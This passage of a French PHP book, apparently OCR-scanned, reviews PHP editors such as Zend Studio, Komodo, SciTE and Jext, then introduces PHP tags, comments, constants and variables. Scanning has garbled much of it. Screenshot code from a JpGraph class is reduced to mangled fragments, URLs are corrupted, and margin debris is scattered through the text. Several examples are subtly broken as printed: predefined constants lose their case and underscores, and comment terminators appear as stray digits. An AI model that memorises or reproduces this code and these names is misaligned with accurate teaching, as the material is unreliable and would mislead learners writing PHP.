de developpement de PHP joue egalement. Si c'est pour un projet isole, le programmeur 
pourra choisir librement ; si, en revanche, il doit travailler en etroite collaboration avec un 
graphiste, un logiciel comme Dreamweaver MX sera plus approprie. Pour mettre sur pied une 
architecture complexe imbriquant de multiples pages en PHP, une solution comme Zend 
Studio ou Maguma rendra de bien meilleurs services. 

Les outils les plus puissants ne doivent pas faire oublier qu'un site peut etre developpe avec un 
simple bloc-note (bien moins gourmand en memoire et CPU). Ce n'est pas l'editeur qui fait le 
developpeur. Les assistants les plus pousses et conviviaux ne remplaceront pas une bonne 
connaissance du langage. 
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Nous avons classe les editeurs en differentes categories. Nous savons que ces categories seront 
a coup sur critiquees par les partisans de l'un ou l'autre des logiciels presentes, mais c'est un mal 
necessaire... 

L'artillerie lourde, ce sont ces editeurs qui integrent PHP a toute une solution de 
developpement web. Resolument tournes vers PHP, il leur faut une plateforme assez 
musclee pour fonctionner, et ils n'ont pas ete penses pour le developpeur solitaire, coince 
entre pizza et CVS. Ils permettent souvent un travail collaboratif pousse, qui place l'editeur 
au centre d'une architecture incluant un serveur web et un serveur de bases de donnees. 
Leur prix souvent eleve les met hors de la portee des programmeurs isoles. 

Les specialistes, ce sont des editeurs PHP purement PHP. Ils ont ete developpes pour ce 
langage de script en particulier. Etant donne qu'ils sont assez nombreux, nous ne 
presentons ici que ceux que nous avons juges pertinents en fonction de criteres juges 
primordiaux par plusieurs developpeurs. 

Nous traitons enfin, dans une partie separee, Dreamweaver et GoLive, deux logiciels de 
creation de sites web qui gerent desormais PHP, mais qui restent tout de meme en deca de 
ce qu'offrent les editeurs specialises. 

Nos plus vifs remerciements vont a Stephane Pineau, auteur d'un comparatif d'editeurs PHP, 
qui nous a permis de reproduire ici en grande partie son travail (par ailleurs disponible a 
1'adresse hltp://steph.pineau.free.fr/php/index.php?LNK=EDIT/). Nous vous conseillons d'ailleurs d'aller 
consulter cette page regulierement pour vous tenir a jour des dernieres mises a jour d'editeurs. 
Vous pourrez egalement y effecuter des recherches multicriteres pour choisir l'editeur qui vous 
convient le plus. 




Figure 2.23 : Zend Studio 
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Tableau 2.1 : Zend Studio 



Zend Studio 


version 3.5.1 


Editeur 


Zend Technologies Ltd. 


Langues 


Anglais, allemand, frangais, hollandais, espagnol, italien, coreen. 


Plateformes 


Windows, Linux, MacOSX. 


Langages support.es 


PHP, HTML. 


Prix 


249 $US. 


URL 


www.zend.com 



Principales fonctionnalites et commentaire 

L'editeur offre toutes les fonctions de base necessaires : completion du code PHP et HTML, completion 
egalement pour les variables, liste des fonctions disponibles dans un fichier, visualisation des fichiers en 
includes, coloration syntaxique, edition du meme fichier depuis differentes fenetres, edition de fichiers 
depuis un serveur FTP, etc. Le debogage est possible en local, et egalement en direct sur des serveurs 
distants. Cela permet ainsi de controler I'execution de PHP sur les serveurs de production. Le debogueur 
integre est particulierement performant. La suite Zend inclut egalement un centre d'administration pour 
configurer et administrer les serveurs, ainsi qu'une application d'aide complete et fonctionnelle. On 
remarque aussi la presence du Zend Optimizer, logiciel optimisant le code PHP et permettant I'execution 
de code camoufle (obfusque). II supporte la version 5 de PHP. Au rang des dernieres nouveautes, on 
trouve les templates de code, personnalisation des schemas de coloration, debogage actif ou passif, 
transmission securisee des fichiers (publication par SFTP et FTP sur SSH). Certainement I'une des 
solutions les plus abouties et les plus completes pour la creation d'applications en PHP. 
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Figure 2.24 : Maguma Studio 
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Tableau 2.2 : Maguma Studio 



Maguma Studio 


version 1.3.2 


Editeur 


Maguma. 


Langue 


Anglais. 


OS 


Windows. 


Langage supporte 


PHP. 


Prix 


69 € pour l'editeur. Existe une version gratuite limitee. 


URL 


www.maguma.com 


Principales fonctionnalites et commentaire 

La plateforme Maguma integre, en plus d'un editeur puissant, toute une architecture de travail en 
commun, allant du client au serveur en passant par une interface d'administration generale. 
L'editeur offre la numerotation des lignes, la coloration syntaxique, une edition multi-fichiers, une aide 
PHP integree, une aide MySQL integree, une aide HTML integree, un gestionnaire de fichiers, un 
gestionnaire FTP, un visualiseur HTML interne, une visualisation/execution depuis l'editeur, un 
debogueur interne ou externe, un explorateur de code PHP, I'insertion assistee de code HTML, 
I'insertion assistee de code CSS, I'insertion assistee de code PHP, I'auto-completion PHP, la gestion 
des abreviations (code template), le commentaire des fonctions/classes, la recherche des paires 
[]{}() et le RegExp en mode recherche. 
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Figure 2.25 : NuSphere PHPEd 
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Tableau 2.3 : NuSphere PHPEd 



NuSphere PHPEd 


version 3.3 




Editeur 


NuSphere. 




Langue 


Anglais. 




Plateformes 


Windows, Linux, Solaris 




Langages supported 


PHP, HTML. 


fO 


Prix 


299 $US. 


TJ 

V> 


URL 


www.nusphere.com/products/phpadv.htm 


CD 
CD 



Principales fonctionnalites et commentaire Ajout de code depuis des modeles, debogueur de 3 
code, interfagage avec des serveurs de bases de donnees (support en natif de PostgreSQL), gestion §•■ 
de projets, connexion en FTP, FTPS, WebDAV/HTTPS, gestion du travail en equipe, debogage de 
sessions, optimisation du code, etc. PhpED offre une completion automatique du code qui supporte la 
programmation orientee objet. Le "PHP Profiler" integre vous aide dans votre developpement et 
permet de constater sa progression et I'optimisation de son code. Des fonctionnalites originales pour 
une solution vraiment complete. 



Les specialistes 



Tous les editeurs presentes ici ont un debogueur integre, a l'exception de Jext qui compense ce 
manque par une kyrielle de fonctionnalites et d'add-on. 
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Tableau 2.4 : Komodo 



E 



Komodo 


version 3 


Editeur 


ActiveState. 


Langue 


Anglais. 


Plateformes 


Windows et Linux. 


Langages support.es 


C, C++, Diff, Eiffel, HTML, Java, Javascript, Latex, Lisp, PHP, 
Pascal, Perl, Python, tcl, vb, XML, XLT, etc. 


Prix 


La version 1 .1 est gratuite dans le cadre d'une utilisation en milieu 
enseignant, ou a visee educative. La version 1 .2 est telechargeable 
en evaluation pour 21 jours, puis payante. De 29,5 $US a 296 $US 
selon les types de licences. 



URL www.activestate.com/Products/Komodo/ 



Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, aide PHP integree, aide MySQL 
integree, aide HTML integree, gestionnaire de projets, gestionnaire de fichiers, gestionnaire de favoris, 
gestionnaire FTP, liste de "reste a faire" (todo), rechargement automatique des derniers fichiers, 
visualiseur HTML interne, visualisation/execution depuis I'editeur, debogueur interne ou externe, 
macros, explorateur de code PHP, explorateur de code HTML, insertion assistee de code HTML, 
insertion assistee de code CSS, insertion assistee de code JavaScript, insertion assistee de code 
PHP, insertion code template, auto-completion PHP, gestion des abreviations (code template), 
commentaire des fonctions/classes, recherche des paires []{}(), indentation / desindentation de 
blocs, commentaire de blocs, partage de la fenetre d'edition, RegExp en mode recherche, archivage 
des fichiers/projets, selecteur de couleurs. 

Developpe autour du navigateur Mozilla auquel il s'integre et de I'editeur Scintilla. Un petit module 
permet de tester ses expressions regulieres avec visualisation du resultat en temps reel. Possibility de 
cacher le code des classes, fonctions et blocs (outlining). "Debug" pour Perl, Python, PHP etXSLT. 
Affichage des parametres requis lors de I'utilisation d'une fonction. Rechargement des derniers 
fichiers, gestionnaire FTP. La version comporte son lot d'ameliorations et d'ajouts de fonctionnalites 
(dont le support de PHP5). La liste des nouveautes est consumable a cette adresse : 
http://aspn.activestate.eom/ASPN/docs/Komodo/3.0/relnotes.html#New_Features. 
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PhpCoder 
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Figure 2.27 : PhpCoder 
Tableau 2.5: PhpCoder 



PhpCoder 


version R2 Prerealese 3 


Editeur 


phplDE.de. 


Langue 


Anglais. 


Plateforme 


Windows. 


Langage supporte 


PHP. 


Prix 


Gratuit. 


URL 


www.phpide.de 


Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, aide PHP integree, aide MySQL 
integree, gestionnaire de projets, visualiseur HTML interne, visualisation/execution depuis I'editeur, 
debogueur interne ou externe, insertion assistee de code HTML, I'auto-completion PHP. Un clone de 
PHPEd quasi conforme, mais qui necessite encore quelques ameliorations. 
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PHPEdit 
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// CONSTRUCTOR 

function CanvasGraph [ 5aIJidth=300 , 5aHeight=200, 5aCacheclNallle-' , ' , , S t.imeout.=0, S inline=:l ) { 

Sthi_->GEaph [ SaUidth, SaHeight, SaCachedName, Stimeout, S inline] ; 



// PUBLIC METHODS 



ri 



function Stroke [ SaStrokeF 1 leWaitie= " " ) I 

if [ 5this->-cexts '= null ) { 

for [Si=0; SKcount [ $thi_->texts ) ; ++Si) I 
5this->-cexts[5i] ->Stroke [ 5this-> img) ; 



5this->cache->PutAndStreaiH:IfE£te">a:wg, 5this->cache_name, Sthis-Mnline, SaStrokeFileName; 



} // Class 
/* EOF */ 
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Figure 2.28 : PHPEdit 
Tableau 2.6: PHPEdit 



PHPEdit Version 1.0.3.68 



Editeurs 


Waterproof SARL 


Langue 


Anglais, frangais, allemand, espagnol. 



Plateforme Windows et Linux. 



Langage supporte 


PHP. 


Prix 


Gratuit pour une utilisation personnels, version professionnelle a 75 € 




HT (Open Source). 


URL 


www.phpedit.com 



Principales fonctionnalites et commentaire 

Reste longtemps a la version 0.6, PHPEdit a tenu ses promesses et comble ses lacunes de jeunesse. 
II est disponible en frangais avec une documentation complete et de tres nombreuses fonctionnalites. 
Les dernieres versions ont apporte un generateur d'aide, des raccourcis personnalisables, plus de 
100 commandes scriptables, le mappage de clavier personnel, un gestionnaire de todo. L'editeur offre 
egalement : numerotation des lignes, coloration syntaxique, multi-fichiers, aide PHP integree, aide 
MySQL integree, aide HTML integree, gestionnaire de fichiers, visualisation/execution depuis l'editeur, 
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PHPEdit Version 1.0.3.68 

debogueur interne ou externe, explorateur de code PHP, insertion assistee de code PHP, gestion des 
abreviations (code template), commentaire des fonctions/classes, indentation/desindentation de 
blocs, commentaire de blocs, RegExp en mode recherche L'explorateur de code est excellent ; il 
separe bien les fonctions et classes de chaque fichier, et hierarchise correctement les methodes des 
classes. Appreciable egalement : la fonction d'autocomment des classes et fonctions. Le systeme 
d'insertion assistee de code PHP, similaire a celui du VBA, est agreable (plus que celui de PHPEd), et 
I'affichage des parametres requis d'une fonction native par simple placement du curseur entre 
parentheses est vraiment pratique. On apprecie egalement la possibilite d'imprimer avec les numeros 
de lignes et la mise en valeur des mots-cles. Un petit gestionnaire de copier/coller fonctionnant en 
drag and drop est interessant. S'il etait possible de I'integrer en tant que panneau lateral plutot que 
de le laisser en fenetre libre, ce serait encore plus pratique. Dommage qu'aucun choix de langue ne 
soit propose, d'autant qu'il s'agit d'une production frangaise. L'absence de toute documentation est 
vraiment penible, car nombre de petits gadgets assez deroutants de prime abord meriteraient une aide 
un peu plus substantielle. 
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command - self. Get 
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Figure 2.29 : SciTE 
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Tableau 2.7: SciTe 



E 



SciTE 


version 1.61 


Editeur 


Neil Hodgson. 


Langues 


Anglais, Frangais, Allemand. 


Plateformes 


Windows et Linux. 


Langages supportes 


C, C++, C#, Eiffel, Java, Js, Latex, Lisp, Pascal, Perl, Php, Python, 
Sql, Vbscript, XML, etc. 


Prix 


Gratuit (Open Source). 


URL 


www.scintilla.org 



Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, gestionnaire de projets, rechargement 
automatique des derniers fichiers, visualisation/execution depuis l'editeur, debogueur interne ou 
externe, macros, insertion assistee de code PHP, auto-completion PHP, gestion des abreviations 
(code template), recherche des paires []{}(), commentaire de blocs, RegExp en mode recherche. 
L'editeur offre egalement la recherche dans des fichiers non ouverts. Peut se placer en mode reduit 
dans la barre des taches. II ne pese que 500 Ko avec sa DLL. On peut zoomer et dezoomer du code 
en cours d'edition. Permet de masquer I'affichage (outlining) logique des blocs d'un texte (HTML) ou 
d'un script. On peut done masquer le corps des fonctions (d'un bloc if /end, par exemple) d'un 
simple die (ou par (ctrjj+Q). On peut ainsi obtenir le squelette d'un script en n'affichant plus que le 
nom des classes, les fonctions et les commentaires. II est egalement possible d'effectuer une 
inversion rapide des lignes (ligne courante avant la suivante). L'editeur se configure via des fichiers, 
ce qui est un peu lourd. La configuration par defaut est plutot restreinte ; nombre de possibilit.es ne 
sont pas visibles de prime abord. Les fichiers pour le frangais ne sont pas inclus dans I'archive, mais 
on peut les recuperer sur : www.scinlilla.org/locale.fr.properties. Le chargement en memoire est quasi 
instantane sur un Pill 533 MHz, ce qui est loin d'etre le cas de bien des editeurs. 
On ne trouve pas de macros ni de gestion de projets en natif, mais ce manque est compense par un 
add-on FilerX. II n'existe pas d'explorateur de code. Trap de fonctions interessantes sont desactivees 
par defaut. Lisez bien la documentation pour connaitre toutes les possibility de parametrage. C'est 
vraiment l'editeur a ne pas manquer pour sa legerete et sa puissance, d'autant que les sources four- 
nies (projet Scintilla) permettent de greffer ses propres fonctions. C'est d'ailleurs I'editeur qui est inte- 
gre dans Komodo. 

Voici quelques "trues" pour activer des fonctions interessantes. Pour activer I'outlining, il faut decom- 
menter la ligne foid.htmi=i dans le fichier html. properties, et la ligne foid=i dans le fichier 
sciteglobal. properties. Dans ce dernier, vous pouvez egalement mettre la valeur a la ligne 
fold, symbol. Pour afficher les numeros de lignes, il faut decommenter la ligne line. number 
dans le fichier sciteglobal. properties, et lui mettre une valeur de 30. Pour pouvoir ouvrir plusieurs 
fichiers, il faut decommenter la ligne buffers dans le fichier sciteglobal. properties, et lui mettre 
la valeur de 10 par exemple. 
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.'========== 

// File: 

// Descripti* 

// Crea ted: 

// Author: 

// Ver: 

// 



s.php | 



JPSMJ>H_CJINW15. PHP 

dMrpss ■irawi.iis' extension lor JpGzaph 
2001-01-03 

Johan Persson (johanpSfiitus .nu) 

fid: jpgraph_canvas.php,v 1. 9 2002/03/30 18:24:47 ± 
This code is releasee! under QPI. 



// Copyright (C) 2001,2002 Jman Per-ssi 



//=================================================== 

.// CLASS CanvasGraph 

, . . .. . . . ,. _, .■ i ,. . . , . . i • . . . 

.'/ night be used tog-ether with the basic Image drawing 
// primitives. Useful to auic.koly produce some arbitrary 
// graphic which benefits from all the functionality in the 
// graph liek caching- for example. 

//=================================================== 

class Canvas Graph extends Graph 

// 

// CONSTRUCTOR 

function Canvas Graph $aHitlth 300 $aHenjM 200 $aCacliedHame " $timeout $inline 1 
Stills Graph $alri(lth $aHei(iht 5 aCachedHame 5 timeout $inline 



//■ public MXfflms 
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$this texts $i Stroke $this 
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Figure 2.30 : Jext 



Tableau 2.8 : Jext 



Jext 


version 5 


Editeur. 


Romain Guy. 


Langues. 


Frangais, anglais. 


Plateformes 


Java (multi-plateforme). Necessite JRE 1.301 ou JDK 1.2. 


Langages supported 


PHP, ASM, ASP, C, C#, C+ + , Eiffel, HTML, XML, Java, Perl, Python, 
Sql, Shell scripts, etc. 


Prix 


Gratuit (OpenSource). 


URL 


www.jext.org 


Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, gestionnaire de projets (add-on), 
gestionnaire de fichiers, gestionnaire de favoris, gestionnaire FTP (add-on), rechargement 
automatique des derniers fichiers, explorateur de code PHP, insertion assistee de code HTML, 
insertion assistee de code PHP, auto-completion PHP, gestion des abreviations (code template), 
recherche des paires []{}(), indentation/desindentation de blocs, commentaire de blocs, RegExp en 
mode recherche. 
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Jext version 5 

Avec ses add-on, cet editeur est particulierement interessant. II offre ainsi un systeme de bureau, 
c'est-a-dire une liste de fichiers ouverts faisant partie, par exemple, d'un meme programme. II est 
possible de creer plusieurs bureaux, et done de disposer d'un gestionnaire de projets basique mais 
efficace. Un add-on "Wapppaaa" permet d'ouvrir en une operation I'ensemble des fichiers contenus 
dans un repertoire et ses sous-repertoires. L'add-on Xinsert permet de gerer ses code template de 
maniere hierarchique, et cela pour chaque langage voulu. II autorise I'inclusion automatique du texte 
selectionne dans le template choisi. L'add-on FindAII permet, en double-cliquant sur un mot, et en 
appuyant sur (cm] + (ft], d'obtenir toutes ses occurences dans une liste selectionnable ; e'est tres 
utile pourtrouver les occurrences d'une variable ou d'une fonction. Les recherches sont, de plus, 
memorisees. L'add-on ProjectMaster remplacera utilement le gestionnaire de projets CodeMaster 
fourni par defaut, car il s'integre directement dans le panneau lateral. Bien que plutot axe Java, il peut 
etre utilise en PHP. Jext dispose d'un langage de script integre, Dawn. On appreciera egalement le 
systeme One Clic : il suffit de selectionner une commande de ce menu, par exemple Ajouter un 
commentaire simple, puis de cliquer sur chaque ligne que I'on veut commenter, et e'est tout. La 
commande selectionnee s'applique a chaque ligne cliquee tant que I'option One Click n'est pas 
arretee. L'add-on Code2Html transforme le fichier en cours (ou la selection) en fichier HTML, tout en 
conservant la coloration syntaxique. Ideal pour publier le code source d'un langage quelconque de 
maniere attrayante. De nombreux autres add-on sont disponibles : console systeme, skins, 
impression avec numeros de lignes, tri de lignes... En bref : e'est un excellent editeur. II n'est pas 
inutile de lire la documentation (en frangais ou en anglais) pourtirer parti de toutes ses possibilites. 



REMARQUE 



Le choix des auteurs 

A titre purement indicatif, les auteurs de cette Bible utilisent, par ordre de pagaille : 
Vi, Emacs, Nedit, Wordpad, le bloc-notes ou encore UltraEdit pour programmer en 
PHP. Vous le voyez, aucun editeur specialise... Comme quoi, ce n'est (decidement !) 
vraiment pas V editeur qui fait le developpeur. 



Dreamweaver et GoLive 

Au depart, ce sont des outils de creation de sites web destines aux graphistes et webmestres 
Aujourd'hui, et tout particulierement dans les dernieres versions, les deux editeurs supportent 
particulierement bien PHP. On peut, par exemple, facilement creer des pages contenant des 
objets en PHP en puisant dans des bibliotheques pretes a 1'emploi. Les deux editeurs ont 
integre le travail avec des bases de donnees (GoLive est vendu avec Apache, PHP, JSP et 
MySQL). Sans aller jusqu'au serveur de debogage de Zend, a installer directement sur les 
machines de production, Dreamweaver et GoLive ont depasse le simple stade du "wysiwyg" 
(what you see is what you get ou, vous voyez ce que vous avez). Les deux logiciels disposent 
d'une composante de travail collaboratif. II est meme possible de travailler avec Webdav, ou 
meme d'avoir une gestion centralisee du code source. 

L'interet des logiciels de creation de sites web dans le cadre d'un developpement en PHP reste 
limite. Si une page contient uniquement un developpement original en PHP, il sera inutile 
d'aller l'editer dans Dreamweaver. De meme, quel interet peut-il y avoir a developper toute 
une application en PHP dans un logiciel comme GoLive, largement plus performant dans le 
Webdesign ? 



Les editeurs et debogueurs PHP 



Dans une optique PHP, Dreamweaver et GoLive restent de tres bons outils d'integration finale 
et d'habillage des developpements en PHP. Un meilleur support de PHP reste un point positif. 
Cela signifie, par exemple, qu'un graphiste aura plus de souplesse pour travailler une page 
contenant du code PHP. 




Quelques site d 'editeurs 

Document traitant des editeurs, redige pour Vuniversite McGill au Canada : 



INTERNET www.cs.mcgill.ca/~navintlra/etlitors/ 

Vi: 

http://vim.sourceforge.net/ 

Emacs : 

www.gnu.org/software/emacslemacs.html 

UltraEdit : 
www.ultraedit.com/ 




Pages personnelles de Stephane Pineau 

Dictionnaire francophone des acronymes informatiques : 



INTERNET www.teaser.fr/~spineau/acrotlict/intlex.htm 

Script PHP 3 gratuits (forum, gestionnaires BDD, etc.) : 
http://steph.pineau.free.fr/php/index.php3 
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Integrer le code PHP au HTML 



3.1. Integrer le code PHP au HTML 

Comme cela a deja ete dit dans l'introduction, le langage PHP est un langage de script qui 
s'insere dans des pages HTML, et les parties ecrites en langage PHP sont declarees au moyen 
de balises reconnues par le serveur. 

Le code PHP s'ecrit done avec un editeur de texte et Tutilisation des editeurs "wysiwyg" (what 
you see is what you get) s'arrete lorsque Tecriture du langage PHP commence. 




Vous pouvez vous reporter a la section "Les editeurs" pour choisir le votre. 
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Le principe de fonctionnement de PHP est assez simple : le serveur va effectuer un travail 
d'interpretation avant de retourner le resultat (generalement une page HTML) au client 
(classiquement un navigateur Internet). 

L'avantage par rapport a l'HTML est alors considerable, puisqu'il est ainsi possible de 
concevoir des sites dits dynamiques. C'est-a-dire que, d'une fois sur l'autre, une page peut 
changer de contenu sans qu'aucune intervention humaine ne soit necessaire. 

Prenons le cas d'un forum : il est souhaitable que, des qu'une personne soumet une question, 
celle-ci soit disponible sur le site. C'est un cas typique d'utilisation d'un site Internet 
dynamique. Le langage PHP permettra alors de creer une page HTML a partir de ce message 
(et des autres messages disponibles dans la base de donnees). 

II faut toujours garder a l'esprit que c'est un langage de script qui est execute cote du serveur ; 
il ne depend done ni du navigateur ni du systeme d'exploitation du visiteur. L'avantage est 
indeniable puisque ce langage permet, a partir d'informations de nature differente, (base de 
donnees, heure actuelle, configuration du client, etc.) d'envoyer des pages dont on peut etre sur 
qu'elles seront comprehensibles par le navigateur du client (a condition de programmer 
proprement). 

Les balises 

Les parties correspondant au code PHP sont declarees au moyen de balises. II existe plusieurs 
types de balises en fonction de vos preferences, habitudes, et de la configuration de PHP sur le 
serveur ou tournera vos scripts. 

II existe quatre differents types de balises regroupes dans le tableau ci-apres : 



Tableau 3.1 : Les differentes balises 



Balise 


Remarque 


<?php ... ?> 


Ce type de balise est le plus courant. II est accepte par defaut par 




I'interpreteur. 


<script 


Ce type de balise est egalement accepte par defaut par 


language= "php">... 


I'interpreteur. 


</script> 
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Balise 


Remarque 


<? ... ?> 


Ces balises courtes sont appelees "short tags". Elles ne sont pas 
acceptees par defaut, cela fait partie de la configuration de PHP. 


<% ... %> 


Ces balises sont la pour obtenir les memes balises que pour I'ASP. 
Elles ne sont pas acceptees par defaut, cela fait partie de la 
configuration de PHP. 



, Vous pouvez vous reporter au chapitre "Prise en main" afin de voir comment 

configurer PHP pour utiliser les balises qui vous serviront. 
{= RENVOI 

CD 

co Pour ceux qui veulent en ecrire le moins possible, il existe aussi deux autres types de balises qui 

= ont pour effet de simplifier la syntaxe lorsque vous souhaitez simplement afficher du texte avec 

~ la commande echo. 
i 

co Ainsi <? echo "toto" ?> peut etre avantageusement remplace par <?= "toto" ?> et <% 

echo "toto" %> par <%= "toto" %>. 




Ne vous eloignez pas des balises... standard 

Si vous ecrivez vos premiers scripts, utilisez le premier type de balises ( < ?php... ?>). 



conseil En effet, celui-ci est compris de Vensemble des serveurs, car il ne depend pas de leur 
configuration. Le troisieme est le type pour faineants, mais peut se retourner contre 
vous. . . car, si vous ne pouvez pas acceder a la configuration du serveur apres en avoir 
change, il vous faudra modifier toutes les balises ! De mime, il ne faut pas oublier 
que, si vous voulez distribuer votre script, il vous faut un script qui fonctionne sur 
n 'importe quel serveur muni de PHP. 



Mon premier script 

Le premier script PHP est un grand classique ; il ne fait qu'afficher une phrase. 

<html> 
<head> 

<title>Mon premier script</title> 
</head> 
<body> 
<?php 

echo "Mon premier script qui n'affiche 

que du texte en attendant mieux..."; 

?> 

</body> 
</html> 
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Ici, a l'interieur d'un script HTML classique, on a insere des balises PHP dans lesquelles on a 
place une seule instruction, echo, qui affiche simplement la chaine de caracteres qui suit. 

Le separateur d'instructions est classiquement le point-virgule ; il peut etre omis apres la 
derniere instruction d'un bloc PHP (ici, en Toccurrence, il aurait pu etre omis). 

Ce fichier, qui sera stocke sur le serveur, va etre interprete puis envoye au client (le navigateur 
Internet du visiteur) quand celui-ci y fera appel. 



Mon premier script - Netscape 6 



^ Hdiier Edition Afficher Rechercher Aller a Signers Tithes Aide 



Qj/i Q I ^http;flrxalhost/chap03_0 1 .php | f^V Rechercher | ^SjQ 

i i 



Mon premier script qui n'affiche que du texte en attendant mieux.. 



I E3 M 



Figure 3.1 : Ce que vena le visiteur 

Comme nous pouvons le constater en reclamant le code source du document regu, le resultat de 
['interpretation ne laisse plus apparaitre de code PHP. 



CD 

5T 

=3 

<o 
m 
(a 

CD 

-a 

T3 



Source pour :http;//lotalhost/chap03_0i,php - Netscape 




» Hdiier Edition Afficher Aide 


<frfcml> 
<nead> 

<title>Hon premier script</title> 

< /"bead> 

<p>Mon premier script qui n" affiche que du texte e 


n attendant mieux. . .</pX/lb.ti!iLl> 



Figure 3.2 : Le code source regu par le client 



Les balises PHP peuvent etre placees n'importe ou dans le script ; le script suivant donnera le 
meme resultat : 



<html> 
<head> 

<title>Mon premier script</title> 
</head> 
<body> 
<?php 

echo "Mon premier script" 
?> qui n 1 affiche <?php 
echo "que du texte en attendant mieux..."; 

?> 

</body> 
</html> 



Dans le cas present, l'utilite n'est pas flagrante, mais nous verrons des cas d'applications lorsque 
nous etudierons les boucles de controle. 
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Client-serveur 

II faut bien comprendre la logique client I serveur : d'un cote le serveur est charge 
d 'interpreter le code PHP et d'envoyer au client (le navigateur Internet du visiteur) le 
resultat de V interpretation. De I'autre, le client se contente d'afficher la page 
correspondant au code source envoye. 

II n' est done pas question de demander a PHP d'agir sur le client. Vous ne trouverez, 
par exemple, aucune fonction permettant de suivre le deplacement de la souris, et 
toute modification du contenu de la page passe necessairement par une nouvelle 
interrogation du serveur (i.e. affichage d'une nouvelle page ou, eventuellement, 
reaffichage de la page avec de nouveaux parametres). 

En contrepartie, le client n'a pas a interpreter PHP, ce qui implique que la machine 
n'a pas besoin d'outils specifiques, ni de beaucoup de ressources : e'est le serveur qui 
fait tout le travail ! 

o> 
c 

s 

03 
_l 

3.2. Les commentaires 

Pour commenter ses scripts et permettre ainsi de les rendre plus clairs, il existe trois facons 
de faire : 



Tableau 3.2 : Les differentes fagons d'inserer des commentaires 



Notation 


Remarque 


# commentaire 


Le texte entre le signe # et la fin de la ligne sera en commentaire. 
Cette fagon de noter est celle des scripts shell. 


// commentaire 


Le texte entre / / et la fin de la ligne sera en commentaire. 


/* 

commentaire 

*/ 


Tout le texte entre / * et * / sera en commentaire. 



Listing 3.1 : Exemple de script avec commentaires 

<?php 

echo "Ligne suivi d'un commentaire"; # commentaire fagon shell 
echo "Ligne suivi d'un commentaire";// commentaire fagon C 
/* commentaire 
sur 

pi usieurs 
1 ignes 

7 

echo "Ligne entre 2 blocs de commentaires"; 
/* commentaire 

* sur 

* plusieurs 



REMARQUE 



03 
E3> 
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* lignes 

* plus lisibles 

7 

/* cette 
parti e 

est commentee 

// ce type de commentaire bien qu 1 inutile ici est valable 
# celui ci aussi peut etre imbrique 



Un petit commentaire ? 

Les commentaires sont importants pour s'y retrouver ; Us le sont plus encore quand 
conseil vous relisez un script qui date de plusieurs mois. Mais cela n'a rien de nouveau et est 
valable pour n 'importe quel langage. . . 
Privilegiez ['utilisation des // et /* * / et evitez #. 



CD 

5T 

=3 

<o 
m 
(a 

CD 

-a 

T3 



ATTENTION 



Ne pas imbriquer les commentaires 1**1 

Vous ne pouvez pas placer * / a Vinterieur d'un commentaire entre /* et * /. Par 
exemple, le script suivant provoquera une erreur : 



<?php 

/* je mets des remarques parce que je le veux bien 

/* j'aime tellement les remarques que je les imbrique */ 

V 
?> 



Au moment de l'interpretation, les commentaires sont supprimes ; ils ne sont done pas envoyes 
au client, et, ainsi, ne ralentissent en rien l'envoi de la page. Encore une bonne raison pour user 
et abuser des commentaires... 



3-3. Les constantes 

PHP permet de definir des constantes, autrement dit des chaines de caracteres representant 
une valeur figee (chaine de caracteres, nombre ou booleen). Les constantes se declarent par 
l'instruction define ( ) . 

Ainsi, 

define("LANGAGE", "PHP"); 
define("VERSION", 4); 



cree deux constantes, LANGAGE et VERSION, qui peuvent etre utilisees tres naturellement ; 
echo LANGAGE." ".VERSION; 
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retournera ainsi 
PHP 4 

Outre les constantes que vous pourrez definir, PHP propose ses propres constantes dont : 

php_version qui contient le numero de version de PHP (ex. : "4.3.2"). 

php_os qui contient le nom du systeme d'exploitation sous lequel PHP tourne ("Linux", 
"WINNT", "WIN32", "HP-UX", "ADC, etc.). 

file qui contient le chemin complet du script actuellement lu (s'il s'agit d'un script 

inclus, c'est done bien le chemin complet du script qui est retourne et non celui du script 
appele). 

line qui contient le numero de la ligne actuellement executee. 

Existent aussi les constantes true (vrai) et false (faux) et les constantes de niveau d'erreur 
que nous presenterons plus loin. 



Les constantes sont accessibles depuis n 'importe quel endroit du code, y compris a 

Vinterieur des fonctions. Voir a ce suiet la section concernant "les fonctions" et la 
RENVOI 

portee des variables. 



3.4. Les variables 



Definition et syntaxe 

Les variables sont destinees a stocker les donnees qui seront utilisees et pourront etre modifiees 
lors de l'execution du programme. Le langage PHP, tout comme le langage Perl, utilise une 
forme particuliere de syntaxe pour definir une variable. Les variables sont representees avec un 
caractere '$' prefixant ['identification de cette variable. Par exemple, pour declarer une 
nouvelle variable de nom "mavariable", il suffit de l'appeler $mavariable a l'interieur du 
code source. 

Contrairement au langage comme le C, PHP n'exige pas la declaration prealable des 
identificateurs avant leur utilisation. Les variables sont done dites non typees, e'est-a-dire 
qu'une variable peut prendre une valeur de chaine de caracteres et, ensuite, etre utilisee pour 
contenir un entier. Le type est defini a l'affectation de cette variable. C'est en partie cette 
grande souplesse d'utilisation qui fait de PHP un langage simple et rapide d'acces. 

Dans l'exemple ci-dessous, vous pouvez constater la simplicity d'utilisation des variables : 
<?php 

SmaVariable = "0"; 

// $maVari abl e est une chaTne de caracteres 

$maVariable = $maVariable + 1; 
echo $maVariable; 

// Renvoie "1" et est maintenant un entier 
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$maVariable = 1; 

// $maVariable est a present un entier 

$maVariable = $maVariable / 2; 

// $maVariable est maintenant du type double 

$maVariable = 1 + "2 Vive le PHP !"; 
echo $maVariable; 

// $maVariable est du type entier et renvoi e 3 
?> 

Le nom de la variable peut etre defini par tous les caracteres alphanumeriques ainsi que par le 
caractere '_' , mais il ne peut pas commencer par un chiffre. 

$mavariable, $_mavariable, $mavariabiei sont des variables correctes. En revanche, 
$lmaVariable provoquera une erreur de syntaxe. 




Faites chauffer la colle (attention a la casse. . .) 

Les variables definies dans un programme PHP sont sensibles a la casse. Faites done 



ATTENTION attention, dans vos programmes, a ne pas initialiser $maVariable et appeler 
$ma var i able a V utilisation. Ces deux variables sont distinctes. 



Les variables dynamiques 

Les variables dynamiques (aussi appelees variables "variables") sont des variables dont le nom 
depend d'autres variables. Les noms de ces variables sont done construits dynamiquement 
pendant l'execution du code PHP. 

L'exemple ci-dessous est bien plus parlant qu'un long discours : 
<?php 

$var = "Je developpe en PHP."; 
$dyn = "var"; 

